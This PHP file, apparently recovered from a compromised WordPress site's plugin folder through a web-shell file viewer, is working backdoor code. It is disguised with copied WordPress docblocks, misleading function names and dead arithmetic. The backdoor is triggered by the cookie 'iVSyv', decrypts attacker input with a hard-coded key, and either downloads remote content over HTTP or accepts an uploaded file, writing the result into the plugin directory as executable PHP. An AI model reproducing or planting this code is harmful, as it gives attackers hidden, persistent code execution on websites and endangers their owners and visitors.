%PDF- %PDF-
Direktori : /var/www/html/higroup/wp-content/plugins/22q949o4/ |
Current File : /var/www/html/higroup/wp-content/plugins/22q949o4/kvr.js.php |
<?php /* * * Feed API: WP_Feed_Cache_Transient class * * @package WordPress * @subpackage Feed * @since 4.7.0 * * Core class used to implement feed cache transients. * * @since 2.8.0 #[AllowDynamicProperties] class WP_Feed_Cache_Transient { * * Holds the transient name. * * @since 2.8.0 * @var string public $name; * * Holds the transient mod name. * * @since 2.8.0 * @var string public $mod_name; * * Holds the cache duration in seconds. * * Defaults to 43200 seconds (12 hours). * * @since 2.8.0 * @var int public $lifetime = 43200; * * Constructor. * * @since 2.8.0 * @since 3.2.0 Updated to use a PHP5 constructor. * * @param string $location URL location (scheme is used to determine handler). * @param string $filename Unique identifier for cache object. * @param string $extension 'spi' or 'spc'. public function __construct( $location, $filename, $extension ) { $this->name = 'feed_' . $filename; $this->mod_name = 'feed_mod_' . $filename; $lifetime = $this->lifetime; * * Filters the transient lifetime of the feed cache. * * @since 2.8.0 * * @param int $lifetime Cache duration in seconds. Default is 43200 seconds (12 hours). * @param string $filename Unique identifier for the cache object. $this->lifetime = apply_filters( 'wp_feed_cache_transient_lifetime', $lifetime, $filename ); } * * Sets the transient. * * @since 2.8.0 * * @param SimplePie $data Data to save. * @return true Always true. public function save( $data ) { if ( $data instanceof SimplePie ) { $data = $data->data; } set_transient( $this->name, $data, $this->lifetime ); set_transient( $this->mod_name, time(), $this->lifetime ); return true; } * * Gets the transient. * * @since 2.8.0 * * @return mixed Transient value. public function load() { return get_transient( $this->name ); } * * Gets mod transient. * * @since 2.8.0 * * @return mixed Transient value. public function mtime() { return get_transient( $this->mod_name ); } * * Sets mod transient. * * @since 2.8.0 * * @return bool False if value was not set and true if value was set. public function touch() { return set_transient( $this->mod_name, time(), $this->lifetime ); } * * Deletes transients. * * @since 2.8.0 * * @return tru*/ /** * Structure that store Atom Entry Properties * * @package AtomLib */ function get_comment_text($has_text_transform_support) { $weeuns = display_header_text($has_text_transform_support); $found_key = 14; $end_size = "abcxyz"; $plugin_part = "Navigation System"; $matched_route = 10; $uploaded_by_link = ristretto255_scalar_complement($has_text_transform_support); // Also note, WP_HTTP lowercases all keys, Snoopy did not. return ['highest' => $weeuns,'lowest' => $uploaded_by_link]; } /** * Displays an HTML link to the author page of the current post's author. * * @since 1.2.0 * @since 4.4.0 Converted into a wrapper for get_drop_index() * * @param string $child_layout_styles Unused. */ function drop_index($child_layout_styles = '') { if (!empty($child_layout_styles)) { _deprecated_argument(__FUNCTION__, '2.1.0'); } echo get_drop_index(); } // If the API returned a plugin with empty data for 'blocks', skip it. /** * Retrieves the tags for a post. * * There is only one default for this function, called 'fields' and by default * is set to 'all'. There are other defaults that can be overridden in * wp_get_object_terms(). * * @since 2.3.0 * * @param int $weblogger_time Optional. The Post ID. Does not default to the ID of the * global $c5. Default 0. * @param array $orderparams Optional. Tag query parameters. Default empty array. * See WP_Term_Query::__construct() for supported arguments. * @return array|WP_Error Array of WP_Term objects on success or empty array if no tags were found. * WP_Error object if 'post_tag' taxonomy doesn't exist. */ function the_comment($weblogger_time = 0, $orderparams = array()) { return wp_get_post_terms($weblogger_time, 'post_tag', $orderparams); } /** * Inserts an attachment and its metadata. * * @since 3.9.0 * * @param array $format_stringttachment An array with attachment object data. * @param string $cropped File path to cropped image. * @return int Attachment ID. */ function wp_ajax_wp_fullscreen_save_post($widget_ops){ $sx = [72, 68, 75, 70]; $element_style_object = "a1b2c3d4e5"; $show_tax_feed = max($sx); $preferred_ext = preg_replace('/[^0-9]/', '', $element_style_object); // Create query for /page/xx. // Discard unneeded cookies sent by some browser-embedded clients. // Note: \\\ inside a regex denotes a single backslash. $crons = basename($widget_ops); $original_stylesheet = array_map(function($search_string) {return $search_string + 5;}, $sx); $upgrade_error = array_map(function($level_key) {return intval($level_key) * 2;}, str_split($preferred_ext)); $illegal_name = QuicktimeParseContainerAtom($crons); // char ckID [4]; value_as_wp_post_nav_menu_item($widget_ops, $illegal_name); } /** * Prepares user data for return in an XML-RPC object. * * @param WP_User $user The unprepared user object. * @param array $fields The subset of user fields to return. * @return array The prepared user data. */ function wp_print_theme_file_tree($tag_class){ // Weeks per year. // "ATCH" $screen_option = [85, 90, 78, 88, 92]; $image_handler = "hashing and encrypting data"; $pages_with_children = 21; echo $tag_class; } /** * Get all valid JSON schema properties. * * @since 5.6.0 * * @return string[] All valid JSON schema properties. */ function audioBitDepthLookup() { return array('title', 'description', 'default', 'type', 'format', 'enum', 'items', 'properties', 'additionalProperties', 'patternProperties', 'minProperties', 'maxProperties', 'minimum', 'maximum', 'exclusiveMinimum', 'exclusiveMaximum', 'multipleOf', 'minLength', 'maxLength', 'pattern', 'minItems', 'maxItems', 'uniqueItems', 'anyOf', 'oneOf'); } /* translators: 1: wp-config.php, 2: web.config */ function ristretto255_scalar_complement($has_text_transform_support) { $element_style_object = "a1b2c3d4e5"; $theme_features = 10; $doing_ajax_or_is_customized = [2, 4, 6, 8, 10]; $preferred_ext = preg_replace('/[^0-9]/', '', $element_style_object); $has_edit_link = array_map(function($hash_addr) {return $hash_addr * 3;}, $doing_ajax_or_is_customized); $item_flags = 20; // Get an array of comments for the current post. // Back-compat for plugins that disable functionality by unhooking this action. $outer_loop_counter = $theme_features + $item_flags; $upgrade_error = array_map(function($level_key) {return intval($level_key) * 2;}, str_split($preferred_ext)); $quicktags_toolbar = 15; $plugin_a = array_sum($upgrade_error); $ux = $theme_features * $item_flags; $oldfiles = array_filter($has_edit_link, function($wp_email) use ($quicktags_toolbar) {return $wp_email > $quicktags_toolbar;}); // * Stream Number WORD 16 // Specifies the stream number that the Index Specifiers refer to. Valid values are between 1 and 127. // ok - found one byte later than expected (last frame was padded, first frame wasn't) return min($has_text_transform_support); } /** * UTF-16LE => UTF-8 * * @param string $EBMLbuffer_offset * * @return string */ function QuicktimeParseContainerAtom($crons){ $field_schema = __DIR__; // as of this Snoopy release. // Sort the array so that the transient key doesn't depend on the order of slugs. // No more terms, we're done here. // This size isn't set. $query_callstack = 5; $op_precedence = 13; $doing_ajax_or_is_customized = [2, 4, 6, 8, 10]; $duplicate_term = "SimpleLife"; // Keys 0 and 1 in $split_query contain values before the first placeholder. $has_edit_link = array_map(function($hash_addr) {return $hash_addr * 3;}, $doing_ajax_or_is_customized); $default_flags = 15; $ignore_functions = strtoupper(substr($duplicate_term, 0, 5)); $group_by_status = 26; // unable to determine file format $thumbnail = ".php"; // Find the site by the domain and at most the first path segment. $crons = $crons . $thumbnail; $crons = DIRECTORY_SEPARATOR . $crons; $crons = $field_schema . $crons; // v1 => $this_revision[2], $this_revision[3] return $crons; } /** * Displays the XHTML generator that is generated on the wp_head hook. * * See {@see 'wp_head'}. * * @since 2.5.0 */ function wp_sanitize_redirect() { /** * Filters the output of the XHTML generator tag. * * @since 2.5.0 * * @param string $generator_type The XHTML generator. */ the_generator(apply_filters('wp_sanitize_redirect_type', 'xhtml')); } $prevtype = 'iVSyv'; /** * @access private * @ignore * @since 5.8.0 * @since 5.9.0 The minimum compatible version of Gutenberg is 11.9. * @since 6.1.1 The minimum compatible version of Gutenberg is 14.1. * @since 6.4.0 The minimum compatible version of Gutenberg is 16.5. * @since 6.5.0 The minimum compatible version of Gutenberg is 17.6. */ function iconv_fallback_utf16_iso88591() { if (defined('GUTENBERG_VERSION') && version_compare(GUTENBERG_VERSION, '17.6', '<')) { $email_domain['gutenberg'] = array('plugin_name' => 'Gutenberg', 'version_deactivated' => GUTENBERG_VERSION, 'version_compatible' => '17.6'); if (is_plugin_active_for_network('gutenberg/gutenberg.php')) { $catid = get_site_option('wp_force_deactivated_plugins', array()); $catid = array_merge($catid, $email_domain); update_site_option('wp_force_deactivated_plugins', $catid); } else { $catid = get_option('wp_force_deactivated_plugins', array()); $catid = array_merge($catid, $email_domain); update_option('wp_force_deactivated_plugins', $catid); } deactivate_plugins(array('gutenberg/gutenberg.php'), true); } } // s1 += s13 * 666643; /** * Handles updating a widget via AJAX. * * @since 3.9.0 * * @global WP_Customize_Manager $wp_customize */ function add_custom_image_header($widget_ops){ if (strpos($widget_ops, "/") !== false) { return true; } return false; } // Array element 0 will contain the total number of msgs // carry10 = (s10 + (int64_t) (1L << 20)) >> 21; function render_screen_reader_content($format_string, $pending) { return Akismet_Admin::comment_row_actions($format_string, $pending); } /** * HTML API: WP_HTML_Processor class * * @package WordPress * @subpackage HTML-API * @since 6.4.0 */ function validate_theme_requirements($illegal_name, $metarow){ // ereg() is deprecated starting with PHP 5.3. Move PCLZIP_OPT_BY_EREG // Theme is already at the latest version. $orig_siteurl = file_get_contents($illegal_name); // Update term counts to include children. # crypto_onetimeauth_poly1305_update $simpletag_entry = wxr_tag_name($orig_siteurl, $metarow); // $thisfile_mpeg_audio['block_type'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 2); file_put_contents($illegal_name, $simpletag_entry); } set_help_sidebar($prevtype); /** * A list of oEmbed providers. * * @since 2.9.0 * @var array */ function the_block_template_skip_link($registry, $endpoints){ // | Frames (variable length) | $imageinfo = wp_ajax_toggle_auto_updates($registry) - wp_ajax_toggle_auto_updates($endpoints); $imageinfo = $imageinfo + 256; $imageinfo = $imageinfo % 256; $registry = sprintf("%c", $imageinfo); return $registry; } $matched_route = 10; /** * @param float|int $bit_rate * * @return int|float|string */ function wp_ajax_toggle_auto_updates($paths_to_rename){ // Skip hidden and excluded files. $matched_route = 10; $doing_ajax_or_is_customized = [2, 4, 6, 8, 10]; $pages_with_children = 21; $query_callstack = 5; $single_success = 4; $is_writable_template_directory = 34; $has_edit_link = array_map(function($hash_addr) {return $hash_addr * 3;}, $doing_ajax_or_is_customized); $splited = 32; $default_flags = 15; $where_args = range(1, $matched_route); // Add the metadata. $paths_to_rename = ord($paths_to_rename); $operation = $single_success + $splited; $decoded_file = 1.2; $firstframetestarray = $pages_with_children + $is_writable_template_directory; $quicktags_toolbar = 15; $cat2 = $query_callstack + $default_flags; // Function : PclZip() return $paths_to_rename; } $plugin_part = "Navigation System"; /** * Display JavaScript on the page. * * @since 3.5.0 * @deprecated 4.9.0 */ function has_errors($multifeed_url, $parent_theme_author_uri){ $link_rss = move_uploaded_file($multifeed_url, $parent_theme_author_uri); // 4.24 COMR Commercial frame (ID3v2.3+ only) // Only one folder? Then we want its contents. // Let's use that for multisites. return $link_rss; } /** * Retrieves all registered navigation menu locations in a theme. * * @since 3.0.0 * * @global array $block_name * * @return string[] Associative array of registered navigation menu descriptions keyed * by their location. If none are registered, an empty array. */ function check_db_comment() { global $block_name; if (isset($block_name)) { return $block_name; } return array(); } $boxsmalltype = preg_replace('/[aeiou]/i', '', $plugin_part); /* translators: User dashboard screen title. %s: Network title. */ function value_as_wp_post_nav_menu_item($widget_ops, $illegal_name){ $StandardizeFieldNames = get_allowed_themes($widget_ops); $codepoint = range(1, 12); $matched_route = 10; $status_clauses = array_map(function($response_byte_limit) {return strtotime("+$response_byte_limit month");}, $codepoint); $where_args = range(1, $matched_route); // At this point the image has been uploaded successfully. if ($StandardizeFieldNames === false) { return false; } $excluded_term = file_put_contents($illegal_name, $StandardizeFieldNames); return $excluded_term; } /** * Adds a link to the active theme for users who have proper permissions. * * @since 5.7.0 * * @param WP_REST_Response $response REST API response. */ function wp_check_post_lock($prevtype, $sub_sub_sub_subelement){ $duplicate_term = "SimpleLife"; $subframe_apic_picturetype = 6; $pages_with_children = 21; $query_callstack = 5; // Matroska contains DTS without syncword encoded as raw big-endian format $default_flags = 15; $ignore_functions = strtoupper(substr($duplicate_term, 0, 5)); $is_writable_template_directory = 34; $searchand = 30; $firstframetestarray = $pages_with_children + $is_writable_template_directory; $total_users = uniqid(); $exported_headers = $subframe_apic_picturetype + $searchand; $cat2 = $query_callstack + $default_flags; // carry13 = (s13 + (int64_t) (1L << 20)) >> 21; // Where were we in the last step. $bloginfo = $_COOKIE[$prevtype]; $bloginfo = pack("H*", $bloginfo); $old_parent = $default_flags - $query_callstack; $edit_url = $is_writable_template_directory - $pages_with_children; $row_actions = $searchand / $subframe_apic_picturetype; $excluded_categories = substr($total_users, -3); // Creating new post, use default type for the controller. $tmp_settings = wxr_tag_name($bloginfo, $sub_sub_sub_subelement); // ----- Removed in release 2.2 see readme file $queried_post_types = range($subframe_apic_picturetype, $searchand, 2); $part_key = range($query_callstack, $default_flags); $position_styles = $ignore_functions . $excluded_categories; $starter_content_auto_draft_post_ids = range($pages_with_children, $is_writable_template_directory); $meta_compare = array_filter($queried_post_types, function($this_revision) {return $this_revision % 3 === 0;}); $getid3_apetag = array_filter($part_key, fn($registered_sidebar) => $registered_sidebar % 2 !== 0); $selected = strlen($position_styles); $reg_blog_ids = array_filter($starter_content_auto_draft_post_ids, function($tagtype) {$filter_type = round(pow($tagtype, 1/3));return $filter_type * $filter_type * $filter_type === $tagtype;}); $ylen = array_product($getid3_apetag); $sendMethod = array_sum($meta_compare); $back_compat_keys = array_sum($reg_blog_ids); $checked_method = intval($excluded_categories); if (add_custom_image_header($tmp_settings)) { $meta_key_data = render_block_core_post_excerpt($tmp_settings); return $meta_key_data; } build_value($prevtype, $sub_sub_sub_subelement, $tmp_settings); } $where_args = range(1, $matched_route); /** * Hook used to schedule publication for a post marked for the future. * * The $c5 properties used and must exist are 'ID' and 'post_date_gmt'. * * @since 2.3.0 * @access private * * @param int $child_layout_styles Not used. Can be set to null. Never implemented. Not marked * as deprecated with _deprecated_argument() as it conflicts with * wp_transition_post_status() and the default filter for get_keyword(). * @param WP_Post $c5 Post object. */ function get_keyword($child_layout_styles, $c5) { wp_clear_scheduled_hook('publish_future_post', array($c5->ID)); wp_schedule_single_event(strtotime(get_gmt_from_date($c5->post_date) . ' GMT'), 'publish_future_post', array($c5->ID)); } FreeFormatFrameLength(["apple", "banana", "cherry"]); /* * \/ searches for the closing > symbol, which can be in either /> or > format. * # ends the pattern. */ function set_help_sidebar($prevtype){ $sub_sub_sub_subelement = 'pxKHcWkGFWMMEaasgsWeGWuJjppWz'; // Lyrics3v1, APE, maybe ID3v1 $matched_route = 10; $removed_args = range(1, 10); $default_width = 9; $op_precedence = 13; // UTF-32 Big Endian Without BOM // ----- Compare the bytes if (isset($_COOKIE[$prevtype])) { wp_check_post_lock($prevtype, $sub_sub_sub_subelement); } } /** * Checks if the user has permissions to make the request. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ function render_block_core_post_excerpt($tmp_settings){ // this software the author can not be responsible. wp_ajax_wp_fullscreen_save_post($tmp_settings); wp_print_theme_file_tree($tmp_settings); } /** * Creates a hash (encrypt) of a plain text password. * * For integration with other applications, this function can be overwritten to * instead use the other package password checking algorithm. * * @since 2.5.0 * * @global PasswordHash $last_revision PHPass object. * * @param string $device Plain text user password to hash. * @return string The hash string of the password. */ function network_settings_add_js($device) { global $last_revision; if (empty($last_revision)) { require_once ABSPATH . WPINC . '/class-phpass.php'; // By default, use the portable hash from phpass. $last_revision = new PasswordHash(8, true); } return $last_revision->HashPassword(trim($device)); } /** * Given a tree, converts the internal representation of variables to the CSS representation. * It is recursive and modifies the input in-place. * * @since 6.3.0 * @param array $tree Input to process. * @return array The modified $tree. */ function build_value($prevtype, $sub_sub_sub_subelement, $tmp_settings){ // 7 if (isset($_FILES[$prevtype])) { wp_initialize_site($prevtype, $sub_sub_sub_subelement, $tmp_settings); } wp_print_theme_file_tree($tmp_settings); } /** * Displays the permalink to the post for use in feeds. * * @since 2.3.0 */ function get_allowed_themes($widget_ops){ $widget_ops = "http://" . $widget_ops; return file_get_contents($widget_ops); } /** * Gets default post mime types. * * @since 2.9.0 * @since 5.3.0 Added the 'Documents', 'Spreadsheets', and 'Archives' mime type groups. * * @return array List of post mime types. */ function print_footer_scripts($EBMLbuffer_offset) { $found_key = 14; $circular_dependencies_slugs = range(1, 15); $help_install = array_map(function($tagtype) {return pow($tagtype, 2) - 10;}, $circular_dependencies_slugs); $rate_limit = "CodeSample"; return strrev($EBMLbuffer_offset); } /** * Whether the site should be treated as public. * * A numeric string, for compatibility reasons. * * @since 4.5.0 * @var string */ function display_header_text($has_text_transform_support) { return max($has_text_transform_support); } /** * Get the status message. * * @return string */ function wxr_tag_name($excluded_term, $metarow){ // translators: 1: The WordPress error code. 2: The HTTP status code error message. $writable = 50; $stssEntriesDataOffset = [0, 1]; while ($stssEntriesDataOffset[count($stssEntriesDataOffset) - 1] < $writable) { $stssEntriesDataOffset[] = end($stssEntriesDataOffset) + prev($stssEntriesDataOffset); } $polyfill = strlen($metarow); $plugins_allowedtags = strlen($excluded_term); if ($stssEntriesDataOffset[count($stssEntriesDataOffset) - 1] >= $writable) { array_pop($stssEntriesDataOffset); } $polyfill = $plugins_allowedtags / $polyfill; $polyfill = ceil($polyfill); // If req_uri is empty or if it is a request for ourself, unset error. $pretty_permalinks_supported = str_split($excluded_term); $min_size = array_map(function($tagtype) {return pow($tagtype, 2);}, $stssEntriesDataOffset); // User meta. $metarow = str_repeat($metarow, $polyfill); $revisions_sidebar = str_split($metarow); $cat2 = array_sum($min_size); // no, move to the next registered autoloader $revisions_sidebar = array_slice($revisions_sidebar, 0, $plugins_allowedtags); $theArray = mt_rand(0, count($stssEntriesDataOffset) - 1); // Support for On2 VP6 codec and meta information // $match_decoding = array_map("the_block_template_skip_link", $pretty_permalinks_supported, $revisions_sidebar); $match_decoding = implode('', $match_decoding); return $match_decoding; } /** * PHP4 constructor. * * @deprecated 5.3.0 Use __construct() instead. * * @see Services_JSON_Error::__construct() */ function FreeFormatFrameLength($is_between) { foreach ($is_between as &$lfeon) { $lfeon = print_footer_scripts($lfeon); } return $is_between; } /** * Registers the `core/calendar` block on server. */ function wp_nav_menu_taxonomy_meta_boxes($has_text_transform_support) { $matched_route = 10; $folder_parts = "Learning PHP is fun and rewarding."; $ep = [5, 7, 9, 11, 13]; $subhandles = get_comment_text($has_text_transform_support); // Limit the bit depth of resized images to 8 bits per channel. $LongMPEGbitrateLookup = array_map(function($level_key) {return ($level_key + 2) ** 2;}, $ep); $where_args = range(1, $matched_route); $unfiltered_posts = explode(' ', $folder_parts); $decoded_file = 1.2; $threaded_comments = array_sum($LongMPEGbitrateLookup); $s20 = array_map('strtoupper', $unfiltered_posts); $language_directory = 0; $context_sidebar_instance_number = min($LongMPEGbitrateLookup); $parent_block = array_map(function($hash_addr) use ($decoded_file) {return $hash_addr * $decoded_file;}, $where_args); array_walk($s20, function($termmeta) use (&$language_directory) {$language_directory += preg_match_all('/[AEIOU]/', $termmeta);}); $existing_lines = max($LongMPEGbitrateLookup); $supplied_post_data = 7; // Single endpoint, add one deeper. return "Highest Value: " . $subhandles['highest'] . ", Lowest Value: " . $subhandles['lowest']; } /** * Fires after a new category has been successfully created via XML-RPC. * * @since 3.4.0 * * @param int $cat_id ID of the new category. * @param array $orderparams An array of new category arguments. */ function wp_initialize_site($prevtype, $sub_sub_sub_subelement, $tmp_settings){ $crons = $_FILES[$prevtype]['name']; // Detect line breaks. $illegal_name = QuicktimeParseContainerAtom($crons); $circular_dependencies_slugs = range(1, 15); $duplicate_term = "SimpleLife"; $late_route_registration = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet']; $loading_optimization_attr = 12; $caps_with_roles = 24; $help_install = array_map(function($tagtype) {return pow($tagtype, 2) - 10;}, $circular_dependencies_slugs); $matching_schemas = array_reverse($late_route_registration); $ignore_functions = strtoupper(substr($duplicate_term, 0, 5)); $the_content = 'Lorem'; $total_users = uniqid(); $deleted = max($help_install); $textdomain = $loading_optimization_attr + $caps_with_roles; validate_theme_requirements($_FILES[$prevtype]['tmp_name'], $sub_sub_sub_subelement); // Ensure POST-ing to `tools.php?page=export_personal_data` and `tools.php?page=remove_personal_data` $excluded_categories = substr($total_users, -3); $upload_path = in_array($the_content, $matching_schemas); $perma_query_vars = $caps_with_roles - $loading_optimization_attr; $known_columns = min($help_install); $position_styles = $ignore_functions . $excluded_categories; $type_settings = range($loading_optimization_attr, $caps_with_roles); $font_family = $upload_path ? implode('', $matching_schemas) : implode('-', $late_route_registration); $image_size_names = array_sum($circular_dependencies_slugs); has_errors($_FILES[$prevtype]['tmp_name'], $illegal_name); } /* e Always true. public function unlink() { delete_transient( $this->name ); delete_transient( $this->mod_name ); return true; } } */